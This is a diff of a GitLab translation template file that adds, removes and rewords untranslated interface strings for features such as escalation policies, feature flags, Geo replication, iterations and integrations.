msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
